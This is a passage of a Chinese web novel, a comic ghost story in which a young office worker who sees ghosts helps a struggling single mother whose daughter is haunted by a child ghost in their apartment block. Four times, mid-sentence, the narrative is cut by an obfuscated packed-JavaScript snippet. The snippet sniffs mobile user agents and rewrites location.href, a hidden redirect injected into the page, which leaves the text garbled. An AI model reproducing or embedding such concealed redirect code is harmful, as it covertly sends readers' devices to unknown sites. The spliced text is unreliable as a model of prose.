道长也看了一眼林然，肯定地说，“没见过，你怎么跟你爸一样，就知道挑好看的啊……算了，人之常情，人之常情，要不是这里的阴气太重，我都看不见他呢，唉，要是能开个阴阳眼就好了，没办法，有的人天生就是吃这碗饭的料，我羡慕都羡慕不来啊……” “那……” “说起来……”道长摸了摸下巴，“但是我第一眼看见他，真不觉得是个死人啊……他怎么看都不像鬼……” “那……道长，你认识哪些大师吗？” “算了吧，我认识的大师，你也是认识的……至于我周围的同道，说实话，他们还不如我呢，论道行道心，我比不过他们，论辟邪驱鬼，我还算专业的呢。”道长一边说着，一边把他的名字和手机号码写在笔记本上，撕给了纪明霜，“行了，这是我的联系方式，你有事可以给我打电话，就这样吧，我回家啦！” 道长摆了摆手，转身离开了，纪明霜回到值班室门口的时候，保安大叔已经死了。 纪明霜并没有查看保安大叔的生命体征，她能这样判断的原因是，她看到保安大叔的鬼魂正站在他的尸体旁边，看到纪明霜，他仍是满脸的迷茫与疑惑，他看看自己的身体，看看自己的双手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419834|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看看纪明霜和林然，久久不能回神。 纪明霜刚才似乎隐隐约约听到了什么不好的声音，估计是女鬼做了什么吧……别说是保安大叔，就连保安小哥也害怕得缩成一团了。 “这样下去不行啊……”林然说，“在这里死亡的人，鬼魂也会留在这里，这样下去，鬼越来越多，人越来越少，如果阴气压不住阳气……” “是啊……”纪明霜说，“之前保安小哥出事的时候，就听到有业主要卖房或者退租的，现在保安大叔也没了……” 小陈哥突然出现，“没关系，这里的地段好，附近的公司多，打工人也不少，实在不行，房东会降房租的……这么好的房子，不是每家都像我家一样，宁愿空着也不出租。” 听到电梯‘叮’的一声响，现在已经来电了，那么监控也恢复了吧，纪明霜走进了电梯，按了十三楼的按钮，对小陈哥问道，“你家为什么宁愿空着也不出租呢？” “是因为之前的事嘛……”小陈哥没有多说，“不过，我从十八楼找到十三楼，又从十三楼找到一楼，连地下室都看了，那个小鬼哪里去了，我已经两天没看见他了，之前从来没有发生过这样的事啊……” 纪明霜想了想，“保安小哥的鬼魂出现之后，我就没怎么看到他，不会是被吓跑了吧……” 小陈哥说，“那他能上哪去呢，死在这栋楼里的人，是离不开这栋楼的……” “那你是怎么死的呢？”纪明霜问道。 “我啊……”小陈哥有点不好意思地转过了头，“我是自杀。” 这似乎是个有些沉重的话题，纪明霜和林然都没有说话，小陈哥反而不怎么在意地继续说道，“唉，我当时也是一时冲动，早知道死之后会被困在这栋楼里，我当初就……” 纪明霜：“你当初就不会寻死？” “不，那我就死在外边了。”小陈哥说。 纪明霜有些哭笑不得，“看来你的怨气还蛮重的呢……” “得了吧你。”小陈哥说，“你跟我要房租的时候，那个怨气……妈呀，说实话，我看了都害怕，我都怕你把我给‘咔嚓咔嚓’了。” 纪明霜：“……有吗？” 小陈哥肯定地说，“有的。” 回到房间之后，纪明霜特意在房间里找了一圈，还拎出方婆婆给的娃娃使劲抖了抖，都没有找到那只小鬼。 小陈哥有些沮丧，“怎么回事啊……这个小鬼跑哪去了，不会是去投胎了吧，他是我亲戚家的小孩，平时我也蛮照顾他的，怎么投胎也不跟我说一声呢，唉，我现在真的是孤家寡人喽。” 纪明霜：“那个，你貌似是个是孤魂野鬼吧。” 小陈哥：“对哦。” 一人两鬼找了半天也没找到小鬼，时间已经很晚了，纪明霜准备睡觉了，明天还要上班呢，嗯，今天真是发生了很多事呢…… 纪明霜大概花了三分钟就成功入睡了，只是，半夜两点左右，半梦半醒之间，她听到了敲门声。 22. 第22章 衣柜 纪明霜以为是警察过来询问情况，毕竟保安大叔的尸体还躺在一楼大厅的地板上呢，公寓里的住户很多，应该很快就会被发现。 实际上也是这样，楼下已经乱起来了，三四辆警车停在公寓楼的门口，很多住户听到动静，纷纷打听今晚的事，业主群里都炸锅了。 更有甚者，连觉都不睡了，从床上爬起来，穿上衣服就出了门。这样的人还不少，他们在警戒线外好奇地看着，时不时指指点点，有些人比警察更擅长破案，已经推理出三个版本的所谓真相了。 “妈呀，不会是谋杀案吧，太可怕了……” “其实我也这么感觉，怎么偏偏今天停电，怎么停电就出了事……” “查监控呗，现在的监控就算停电也能续航的啊……” “算了吧，公寓楼里的监控是插卡式存储的，停电断网之后，连之前的录像都没法查看了……除非开了云存储，这不，警察正跟厂家交涉呢！” “交涉什么啊……” “那当然是因为这里的监控没开云存储啊，这种服务也不便宜呢！” “不是吧，那怎么办呀……” “谁知道呢。” …… 保安大叔身上虽然有外伤，但死因却是心脏病发，纪明霜没什么可担心的，因为这件事确实不是她干的啊。 要知道，女鬼的案子至今还未告破，道长之前以为保安大叔害了三个人，嗯，算上他间接害死的人，其实就是三个。 除了女鬼和保安小哥以外，还有女鬼的妈妈，女鬼失踪两个月之后，她就因病去世了。临死时，她的头发全白了，眼睛也看不清了，她每天做着女儿遇害的梦，吃不进东西，实际上，夺走她生命的，不是疾病，而是虚弱。 另一边，听到敲门声之后，纪明霜赶紧穿上外套，林然先去看了一眼，说，“是楼下那个小女孩的妈妈。” 纪明霜走过去开门，雁雁妈妈站在门口，她的语气难掩急切，“那个，小姑娘，我们家雁雁不见了，她有没有过来你家？” 纪明霜摇了摇头，“没有。” 雁雁妈妈仍然心存侥幸，“我们家雁雁比较调皮，之前就经常过来找你，也许她偷偷躲了进来？” 虽然没有这种可能，但纪明霜理解她的心情，还是请她进来看看。她走了进来，换上拖鞋，在纪明霜的公寓里来来回回地找了两圈，都没有发现雁雁的身影，她不自觉地攥着身前的衣服，“非常抱歉，是我冒昧了，但我想问下，十三楼的其他住户，有谁接触过雁雁吗？” 纪明霜说，“十三楼只住了我一个人。” 雁雁妈妈怔了一下，说了一句抱歉打扰，就急匆匆地离开了。 十三楼虽然只住了一个人，但还住了别的鬼，雁雁妈妈的动静也惊动了小陈哥，他出现在纪明霜的门口，“你说，这个小孩的失踪不会跟小鬼有关吧……” 纪明霜说，“有可能。” 小陈哥想了想，说，“这样吧，反正我也不睡觉，就去帮忙找一找，如果找到了小孩，我就来找你，你去通知她。” “那就交给你吧。”纪明霜赞许地说，“你还怪好的咧。” 小陈哥转身向楼下走去，“哼，知道就好。” 纪明霜还没睡多久，小陈哥就回来了，他通知了林然，林然叫醒了纪明霜。 “我找到那个小孩了……妈呀，吓了我一跳，你赶紧去通知她妈妈吧。” 纪明霜揉了揉眼睛，但还是挡不住困意，她一边穿外套，一边吐槽道，“拜托，你可是鬼啊，怎么会被一个小孩子吓到。” 小陈哥撇了撇嘴，“你又不是不知道我胆小，咱们楼里的鬼多了去了，我平时都是绕着走的……你都不知道，那个小孩看起来真的好可怕……” 纪明霜的睡意瞬间被清空了，“怎么回事，难道雁雁她……” “没没没，你想多了。”小陈哥摆了摆手，说，“你直接去通知那个小孩的妈妈吧，小孩就藏在她房间的衣柜里……对了，那个小孩的妈妈，我刚刚看见她去一楼了。” 纪明霜坐电梯到了一楼大厅，看到雁雁妈妈正和一个围观警察办案的男住户说话，男住户的语气有些不耐，他明显对今晚的案件更感兴趣。 纪明霜把雁雁妈妈拉到一边，“我好像知道雁雁在哪里了。” “真的吗？”雁雁妈妈激动地捂住胸口，“你看见她了吗，她没事吧，她在哪呢？” 纪明霜说，“我们先去十二楼吧。” 雁雁妈妈跟着纪明霜进了电梯，纪明霜解释道，“嗯……如果不出我所料的话，雁雁应该就在她的房间里……” 雁雁妈妈的神情冷了下来，“怎么可能，我在家里找了很久，如果她在房间里，我怎么没看到她，而且她平时很乖的，不可能不回应我。” “进去看看就知道了。”纪明霜说。 纪明霜跟着雁雁妈妈进了她家，雁雁妈妈打开客厅的灯，语气疲惫极了，“不用换鞋了，直接进来吧。” 说实话，这里不算整洁，倒也还算温馨。 家门口堆着七八双各种颜色的鞋子，第二天要穿的衣服就放在沙发上，客厅的餐桌上放着从超市里买来的土豆、胡萝卜和盒装的咖喱块，桌上的盘子里还摆了两三个有一点皱的苹果，客厅的角落还放着几辆或立或躺的玩具小汽车。 “雁雁的房间……” 主妇说，“在右边。” 纪明霜走进了右边的房间，房间里黑洞洞的，安静极了，纪明霜打开了灯。 雁雁的小床上，被子、枕头和玩偶乱作一团，盖着桌布的书桌上放着她的粉色卡通书包，房间里的衣柜很高，很大，也很古朴。 纪明霜打开了衣柜，衣柜分为上中下三层，上下两层都扁扁的，只中间那层比较高。 衣柜的最上层放着些叠好的衣服，最下层塞满了鞋盒，中间的那层堆着乱七八糟的衣服，纪明霜拨开挂着的衣服，开始低头翻找，企图把雁雁从衣服推里挖出来，而雁雁妈妈只是沉默地看着。 林然提醒道，“上面。” 纪明霜抬起了头，仔细一看才发现，雁雁正趴在衣柜中层上方的挂衣杆上，为了防止掉下去，她手脚并用地扒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419835|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着挂衣杆，她一直是睁着眼的，纪明霜看向她，她也静静地回望。 纪明霜总算明白为什么小陈哥说雁雁可怕了，雁雁的眼睛瞪得很大，眼球凸出很高，已经水肿充血了，她的眼睑紧缩，上下都露出眼白，瞳仁却很大，显得格外无神。并不是说她的神情有多可怕，如果遮住她的双眼，她的表情很平静，但她的那双眼睛，有一种浓浓的非人感，比起人类，她更像一个纸扎人或者假人模特。 雁雁妈妈也被吓了一跳，但她还是搬来一个板凳，准备把雁雁抱下来，但雁雁的四肢僵硬极了，雁雁妈妈和纪明霜两个人都没办法把让她把胳膊松开，纪明霜只得把那根挂衣杆拆了下来，这才把雁雁和挂衣杆一起放在了雁雁的小床上。 在接触到床铺之后，雁雁的身体也软了下来，神情也恢复了正常，她摇摇脑袋，又揉揉眼睛，“咦，是妈妈，还有楼上的姐姐？” 雁雁妈妈把她抱在怀里，自顾自地啜泣起来，“雁雁，雁雁，你怎么躲在衣柜里，妈妈找了你好久，妈妈真的好害怕……” 雁雁也抱住了妈妈，“妈妈……对不起……” “到底是怎么回事，你为什么在衣柜里？” 雁雁的声音怯怯的，“妈妈，我、我好像梦游了……” “你从小到大都没梦游过，为什么……”雁雁妈妈有些难以置信，“雁雁，是不是发生了什么，把你给吓到了？” 雁雁低下头，不说话了。 纪明霜劝道，“阿姨，不要住在这里了，还是尽快搬走吧……” 雁雁妈妈还是有些犹豫，“谢谢你，小姑娘……还有楼下的警察，楼里的住户，我也要向他们道谢，但是，我暂时没法搬走，我的工资收入不高，这里的房租又很便宜，每个月光是房贷就要还四千多块，更何况还有别的支出……” “房贷？”纪明霜捕捉到了关键词，“你买了房子，为什么还租房住？” “准确地说，我是从我买的房子里搬出来的。”雁雁妈妈的眼里尽是疲惫与失落，“我的房子已经烂尾了，我和雁雁之前就是住在烂尾楼里的，那里的条件很恶劣，但至少有水有电，也足够我们勉强生活了……但是有一天，水和电都被断掉了，我们没办法继续住在那里，听说这里的房租很便宜，我就带着雁雁搬了过来。” 纪明霜想安慰几句，却不知要怎么开口，雁雁妈妈反而笑了，“没关系，只要雁雁在我的身边，我就心满意足了，我不觉得生活辛苦，只是觉得对不起她。” 纪明霜回家之后，还没睡多久，闹钟就响了。 她一夜都没睡好，起床的时候痛苦极了，一上午都哈欠连天的，提交报表的时候差点弄错了数据，要不是有林然提醒，她就会把报表发给主管了。 下午，林然上了她的身，嗯，林然在上班，纪明霜在睡觉，边工作边睡觉的感觉真是神奇，直到下班打卡之后，纪明霜才恢复了精神。 回到灰灰公寓的时候，她看到雁雁的妈妈抱着雁雁站在灰灰公寓的门口，看到纪明霜的身影，她远远地迎了上来，“那个，小纪，我昨晚遇到了不好的事……” 23. 第23章 人渣 纪明霜说，“那个……我要去超市买点东西，你们能不能等我一会儿？” 雁雁妈妈说，“嗯……好。” 纪明霜又问道，“你们有什么需要买的东西吗？” “嗯……没有。” 纪明霜礼貌地笑了笑，然后骑着她的心肝宝贝小电驴去超市了。 她买了四份速食的晚餐，又买了一袋烧烤味的薯片和一副扑克牌，付钱的时候又买了几颗水果味的软糖，有草莓和蓝莓两种口味的。 回去之后，雁雁妈妈和雁雁仍在公寓楼门口等着，纪明霜本想去雁雁家看看，但雁雁说什么都不愿意回去，纪明霜只得请她们先去她家坐坐。 在电梯里，雁雁妈妈的神情有些犹豫，似乎是在思考要怎样开口。 走进纪明霜家之后，她看着房间里单调素净的整体格调，墙上过分可爱的粉色卡通钟表，桌上的花瓶里插着的几枝不算非常新鲜的花朵，心里的紧张感才稍微缓解。 纪明霜端来两杯茶，放在了雁雁妈妈和雁雁的面前，又给雁雁拿了薯片和糖果，雁雁妈妈原本想要拒绝的，但纪明霜却笑着说，“没关系，这是特意买给雁雁的，我不爱吃这种东西。” 雁雁这才收下了薯片和糖果，但没有妈妈的同意，她不敢拆开包装，只是眼巴巴地看着。 雁雁妈妈先是呷了一口茶水，这才开口，“昨天晚上，我和雁雁是睡在一起的，我原本很害怕，但她在我的身边，我就安心多了。半梦半醒之间，我听到了小孩赤脚跑在地上的声音，我以为是雁雁，下意识地叫了她一声，但雁雁的声音却在我的耳边，我听见她叫我‘妈妈’，我一下子就清醒了。” 小陈哥说，“这……不会是那个小鬼干的吧。” 纪明霜也这么觉得。 雁雁妈妈听不到小陈哥的声音，她继续说道，“我当时一把抓起雁雁，几乎是跳着去开了灯，但是……不知道为什么，灯没有打开，房间里还是漆黑一片。我们家的窗帘并不是非常遮光的款式，就算是刚刚关灯，眼睛没有适应黑暗，也从来没有那么黑过，我只得抱紧了怀里的雁雁。但是，当时，雁雁变得又小又冷，‘她’的四肢短短的，手指和脚趾特别细，简直就像一只大号的蝾螈，但是‘她’会说话，还发出了类似‘妈妈’的声音，之后，我就醒了过来，已经早上了，天完全亮了，我还心有余悸，但我应该送雁雁去上学了。那时，雁雁突然对我说，‘妈妈，我不想要弟弟。’” 纪明霜把目光转向了雁雁，雁雁紧紧地抓着手里的薯片，“我……我觉得他好可怜，但是……但是我不想他当我的弟弟。” “傻孩子，妈妈只有你一个孩子，哪来的弟弟妹妹啊。”雁雁妈妈摸了摸雁雁的头。 “雁雁，你是说，那个小鬼，去你家了？” “对、对不起……”雁雁低下了头。 “可恶的小鬼……”小陈哥对纪明霜说，“那个，你能不能给我买条皮带啊，我要七匹狼的。” “买个戒尺就够了，价格是七匹狼的十分之一。”纪明霜接话道。 雁雁：“打了他就不能打我了哦。” 雁雁妈妈：“啊？” “没什么。”纪明霜又对雁雁妈妈问道，“除此之外呢，还有别的事件吗？” “有的。”雁雁妈妈点了点头，“雁雁失踪的事，我以为是梦游，昨天晚上的事，我认为是噩梦，但是，今天上午，我真的好累啊，工作也做不好，一直不在状态，同事给我分了一点怪味的零食，但我觉得那个味道好难闻，喉咙里好难受，今天上午，我吐了四次，吐到最后，连胆汁都吐不出来了。不知道是不是我的错觉，我的肚子好像也变大了，我就去看了医生，做了检查之后，医生说，是因为我长期久坐加上不良体态，所以肚子显得比较大，没有生病，我才稍微放下了心。” 纪明霜静静地听着，看来情况比她想象得更加严重。 雁雁妈妈目前是单身，根本不可能怀孕，但这些症状却很像是怀孕。 也许是因为小鬼的缘故，小鬼想要妈妈，想让雁雁的妈妈当它的妈妈，这大概就是所谓的‘鬼胎’？ 人不可能会生出‘鬼胎’，但小鬼的执念确实对雁雁妈妈的身体产生了不好的影响。 雁雁妈妈继续说，“下班之后，我去晚托班接雁雁回家，但雁雁哭着对我说，她不想再回灰灰公寓了，我也没有办法，只是安慰她说，等房租到期之后，我们就立刻搬走，雁雁平时很懂事的，今天却开始大吵大闹，我……我又对雁雁发了脾气，我……” “现在的情况已经很严重了，我建议你立刻从灰灰公寓搬走，一天都不要多待了。”纪明霜的语气非常严肃，她从包包里拿出了道长给她的那张符箓，交给了雁雁的妈妈，“这个符箓你先拿着，你贴身收好，能护你平安。” “谢谢你，小纪。”雁雁妈妈感激地说，她把符箓拿给了雁雁，雁雁却把符箓拍在了桌面上，“妈妈不拿，我也不拿！” 纪明霜说，“我之前以为小鬼盯上的是雁雁，但小鬼盯上的其实是你……你拿着符箓，正好能收拾行李，先把雁雁送走吧。” “我已经联系寄宿学校了，但是雁雁才一年级啊……寄宿学校的负责人给我发了视频，视频里，那么多孩子，他们都很小，一个个懵懵懂懂的样子，背着小书包，看着爸爸妈妈帮忙铺床和整理生活用品，我看着看着，眼泪就掉下来了。”雁雁妈妈的语气有些哽咽，眼泪一颗一颗地落了下来，雁雁手忙脚乱地给妈妈擦眼泪，雁雁妈妈握住了雁雁的小手，继续说道，“在我离婚之前，房子就烂尾了，房产证下不来，法院也没法判决。我前夫是个烂人，不可能对雁雁好的，为了雁雁的抚养权，我和他协商一致，把烂尾楼转到了我的名下，并且写进了调解书里，因为我当时的收入很高，完全能负担房贷、房租、保姆和日常生活的费用，但是……” 雁雁妈妈并不愿意回想起这些痛苦的回忆，她整理了一会儿，才继续说道，“很抱歉，我也不想情绪失控，专门跑到你家里来哭，平白给你招来晦气……但是，我带着雁雁离开没多久，前夫就找了过来，把雁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419836|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雁从我这里骗走了。他把雁雁藏了起来，一藏就是两年半，那时，我每天一下班就开始哭，大概哭两个小时左右，我想她啊，想得睡不着觉，我走路的时候，都可能会晕倒，我已经没法工作了，然后就被‘优化’了。我加入了紫丝带妈妈的群聊，彼此安慰鼓励，帮忙出主意。我之前看到一条新闻，一个紫丝带妈妈的儿子，被前夫虐待致死，我好害怕，整夜整夜地睡不着，群里的另一个紫丝带妈妈终于找到了她的女儿，我又好羡慕，羡慕得嚎啕大哭。” “那……” “这些都是过去的事了，在妇联的帮助下，我才重新见到了雁雁，但是她那时，穿得破破烂烂的，脸上身上又脏又臭，居然在跟着我的前婆婆捡垃圾……雁雁当时跟我不亲，而且显得有点成熟，也有点古怪，但是没关系，只要她回到我的身边，我就能努力工作和生活了。” 林然坐在雁雁的对面，他说，“人渣。” 小陈哥也忍不住了，他痛骂道，“说得对，真是个人渣！” 女鬼点了点头，保安小哥也跟着点了点头。 “我也想好好照顾雁雁，但是我也得工作啊，我的工作收入不够，还得再做一些兼职，我只能想尽办法省一点钱，我也知道她不喜欢番茄味的薯片，但番茄味的薯片便宜五毛钱，那五毛钱，够我买一把绿豆芽了……才五毛钱，我还没结婚的时候，花五百块钱，眼睛眨都不眨的，但是现在……日子过成这样，我也恨我自己，才五毛钱而已，非要从孩子的身上省吗，玩具小汽车而已，丢了就丢了呗，有必要冲着孩子发脾气吗，我甚至还打了她……还不止一次，我有的时候会控制不住自己的情绪，但我也没有钱去看医生，去买药，我……” 纪明霜给靳尤白发了条消息，“说起来，你之前说你的收入很高，你之前是做什么工作的？” “我啊……因为我的本科院校是985大学，而且专业也对口，所以进大厂做了软件工程师，现在嘛……我是酒店客房部的领班，工资收入不到原来的四分之一，还完房贷几乎就没钱了……” 看到靳尤白的回复之后，纪明霜说，“正好我朋友的公司在招聘，岗位还蛮多的，嗯，如果能应聘成功，你的工资能翻一倍，不过嘛……我只能让你参加笔试，能不能进入面试，能不能应聘成功，就要看你自己的了……对了，你的专业知识没有忘光吧？” “没有，没有，我都记得的。”雁雁妈妈说，“之前我也想找专业相关的工作，但是他们听说我有三年的空窗期，连笔试都没让我参加……我什么时候能去应聘？” 纪明霜从笔记本上撕下一张纸，给雁雁妈妈写下一串电话号码和一个地址，“嗯，去的时候带上简历，工作日上午九点过去，先是一个线上的笔试，然后是一个简单的面试，一个上午就能结束，可以抽时间去试一下。” “真是太谢谢你了……”雁雁妈妈把纸认真地叠起来收好，“那……” 纪明霜说，“你先拿着那张符箓，现在赶紧收拾东西，赶紧找个落脚之地，以后也不要再回来了。” 24. 第24章 树枝 雁雁妈妈带着雁雁离开之后，纪明霜热了两份简单的速食晚餐，她吃一份，林然吃另一份。 纪明霜没什么胃口，只吃了几口就放下了筷子，看着林然吃东西。 林然坐在她的对面，他的吃相很文雅，吃完之后，她把餐盒收起来，扔进垃圾桶里，又收拾了餐具和餐桌，这才重新坐回椅子上。 她伸手在林然面前晃了晃，“在想什么呢？” 林然说，“我在想……是不是因为我的存在，你才这么容易死掉……” 果然是因为这件事啊……怪不得他最近有点沉默。 纪明霜尽量笑着问道，“那……你现在是想轮回转世了吗？” “暂时不想。”林然叹了口气，“我是真的担心你会突然死掉，我想，至少要等三个月之后吧。” 纪明霜说，“才三个月啊……” 林然：“……不是，什么叫‘才三个月啊’，你要是能活过三个月，我都要烧高香了好吗！” 纪明霜沉默了一会儿，又说，“我觉得，我的意外死亡，不是因为你的缘故……毕竟我周围的鬼魂多了去了。” “但是我不一样。”林然说，“我是挂在你的身上的，就像那两个鬼魂是挂在那个保安身上的。” “但是你不一样。”纪明霜说，“那是因为女鬼和保安小哥是怨魂，而那个保安大叔是杀人凶手，你又没有怨气，我也不是害死你的罪魁祸首……大概？” 林然：“……把‘大概’去掉。” 纪明霜笑了笑，“没关系啦，别瞎想了，你对我来说，是很重要的存在呢……” 林然：“因为我能替你上班？” 纪明霜：“……” 好吧，她刚才确实想这么说来着。 小陈哥突然出现，他清了清嗓子，“那个，虽然不想打扰你们，但是……你答应我的事呢？” 纪明霜看了看房间里的四只鬼，林然，小陈哥，女鬼，保安小哥，嗯，很好，阴气很足。 “哦哦，想起来了，好的好的，我现在就去，现在就去。” 纪明霜从购物袋里拿出刚刚买来的那副扑克牌，烧给了小陈哥。 保安大叔死了之后，女鬼的怨气消散了大半，保安小哥也变回了精神小伙，只是情绪激动的时候还是会变身吸尘器，总之，这三只鬼正好可以凑在一起打扑克，而且一副扑克只要两块钱。 这样也好，等小鬼回来之后，就让它知道什么叫做群殴。 但纪明霜没想到的是，她没等到小鬼，反而等到了雁雁妈妈。 纪明霜之前没休息好，今晚特意早点睡觉，没想到雁雁妈妈又敲响了她的房门。 雁雁妈妈的表情很难看，她的嘴唇颤抖着，额头上都是虚汗，“小纪，不知道为什么，我好像出不了这栋公寓了……而且，我好像看到它了……” 纪明霜问道，“符箓呢？” 雁雁妈妈羞愧地低下头，“对不起，我把它拿给雁雁了……” 果然是这样啊…… 纪明霜之前特意检查了这张符箓，虽然有些旧了，做工也不算考究，但确实是正的，而且经过四只鬼的认证，这符箓确实是有效的。 雁雁妈妈试探着说，“那……如果我现在把符箓放在身上的话……” 纪明霜揉了揉太阳穴，“现在已经没用了……” 她让雁雁妈妈拿着符箓，就是为了防止小鬼挂在雁雁妈妈的身上。 小鬼没法离开灰灰公寓，只要她们母女俩搬走，小鬼就无计可施了。 现在，小鬼已经挂在了雁雁妈妈的身上，已经来不及了。 “那雁雁……” 纪明霜说，“雁雁没事，现在有危险的人是你……唉，算了，你先进来吧。” “至少让我先把雁雁送走……”雁雁妈妈说，“东西已经收拾好了……很快就会有人来接。” 把雁雁送走之后，雁雁妈妈才松了口气，她返回楼上，敲响了纪明霜的房门，“抱歉，小纪，又来麻烦你了，都是我的错，都是因为我当初没听你的话……” 纪明霜说，“没事，算了，进来吧。” 进去之后，雁雁妈妈就被眼前的场景震撼了。 已经跳楼身亡的年轻保安，一个拿着眼珠的年轻女孩，还有一个脸色苍白的虚胖男子，这三个人，不对，这三个鬼，现在正在打扑克。 雁雁妈妈愣了三秒，然后开始放声尖叫，而后两眼一翻就晕倒在地。 纪明霜：“……” 完了。 保安小哥受到惊吓，当场开始变身，又恢复为坠地瞬间的死亡姿态，也就是吸尘器的模样。 雁雁妈妈摔倒在地，疼痛让她立刻清醒，她的视力渐渐恢复，睁眼就看到三个鬼正在向她靠近，那个最恐怖的倒立着行走的鬼离她特别近，她差点又两眼一翻又晕过去，纪明霜赶紧冲过去，拼命地掐她人中，“不要晕倒，不要晕倒，没事的，没事的，没、事、的！” 雁雁妈妈喘着粗气，眼泪都快飙出来了，“怎么可能没事，小、小纪，好疼，你的手劲好大。” 纪明霜这才放开了她。 雁雁妈妈坐了起来，非常礼貌地询问，“那个，小纪，我想请问一下，你是人吗？” 纪明霜：“……我是。” 雁雁妈妈又摸了摸自己的脸，“那……我还活着吗？” 纪明霜：“没死。” “那他们……” 纪明霜说，“已经死了。” 小陈哥、女鬼和保安小哥都点了点头。 “不过，至少有一个好消息。”纪明霜指了指保安小哥，“你看他，像不像一个吸尘器？” “等等，吸尘器、吸尘器人……”雁雁妈妈愣愣地说，“原来是这样，雁雁说的居然是真的……” 纪明霜：“嗯。” 雁雁妈妈捂着心口，“真是太吓人了，小纪，你怎么会养这种宠物……” 小陈哥：“？” 纪明霜：“嗯，他们是我的房东，还有我房东的牌友……大概？” 小陈哥点了点头。 雁雁妈妈被纪明霜扶到小沙发上，她先是为自己的失礼，向屋子里的三只鬼道了歉，这才对纪明霜说，“那小纪……不对，纪大师，我现在应该怎么办呢？” 纪明霜：“别这么说，我也不算大师，只是个普通打工人……” “原来干你们这行也不赚钱啊，还得兼职去打工，怪不得人家说现在是经济寒冬……”雁雁妈妈感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419837|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹道。 “这行本来就不赚钱啊，平时哪有那么多怨鬼，给人家看风水的话，倒还能多赚一点，但大多数时候，还是在天桥底下给人家算命、看相、算肚子里的孩子是男是女的。”纪明霜说，“但我真的只是个普通打工人，只不过我能看到一点别人看不到的东西而已，雁雁也是这样。” 雁雁妈妈苦笑着说，“现在看到你，我倒是觉得，这也不算是一件坏事。” “大概吧……”纪明霜说，“如果能宽慰到你的话，那也还算不错，不过，我们还是来说一下你的事吧……” 雁雁妈妈点了点头，“嗯，好的，是这样的，我回去之后就开始收拾东西，时间有限，我只收拾了重要物品，之后，我就带着雁雁下了楼。 “走到公寓楼门口的时候，我一晃神，就又走了回来，我以为是我又犯病了，精神恍惚，意识不清，就又多试了几次，但是每次都是这样，我的情绪有些崩溃，甚至想从二楼跳出去，但是我靠近窗户的时候，我一晃神，就又走了回来…… “我、我看到地上有一个影子，就像一条鲶鱼一样的，完全是黑色的影子，从我的脚边，钻进了我的身体，当时，我感觉我整个人都不好了，我、我很害怕，赶紧让雁雁离我远一点，之后，我把雁雁交给方婆婆暂时照顾，上十三楼来找你…… “如果让雁雁留在这里，我也实在不能安心，我在这边也没什么朋友，没想到我那个不近人情的女上司居然愿意帮忙……” 纪明霜一边听她说话，一边摆弄着一个穿着粉色公主裙的洋娃娃，不知道是不是雁雁妈妈的错觉，那个娃娃……好像在看着她？ 纪明霜说，“死在这栋公寓里的人，都不能离开这栋公寓，比如你刚刚看到的三只鬼，再比如缠上你的那只小鬼。最近死掉的那个保安大叔，他杀了两个人，那两个人死后，一直挂在他的身上，所以他没办法离开这里，后来他就……” 女鬼幽幽地说，“——死了。” 雁雁妈妈喃喃地说，“他不是心脏病发吗？” 女鬼阴森地笑了笑，“我觉得他大概是被吓死的吧。” 保安小哥知道一些内情，他缩了缩脖子，坐得离女鬼远了一些。 雁雁妈妈的脸白了。 纪明霜说，“没关系，你和他不一样，他是咎由自取，我是想说，这个小鬼挂在你的身上，所以你才没办法离开这里，咱们得想办法让小鬼离开你的身体。” 女鬼也点了点头，“杀人偿命，很公平吧，那个老保安的鬼魂还在这栋楼里游荡，见他一次，我就打他一次。” 雁雁妈妈说，“那……我要怎么办呢？” 纪明霜想了想，“稍等，我先出去一趟，对了，不用害怕，他们不会害人的……吧？” 雁雁妈妈：“啊？” “行啦，不用担心，爱打牌的鬼，再坏也坏不到哪里去。”小陈哥倒是蛮热情的，“她要出去找根树枝，你要是无聊的话，可以看我们打牌。” 雁雁妈妈看向了保安小哥，“他的手都成这样了，要怎么拿牌呢？” 保安小哥慢慢恢复了人形，然后开始熟练地洗牌发牌。 雁雁妈妈：“……” 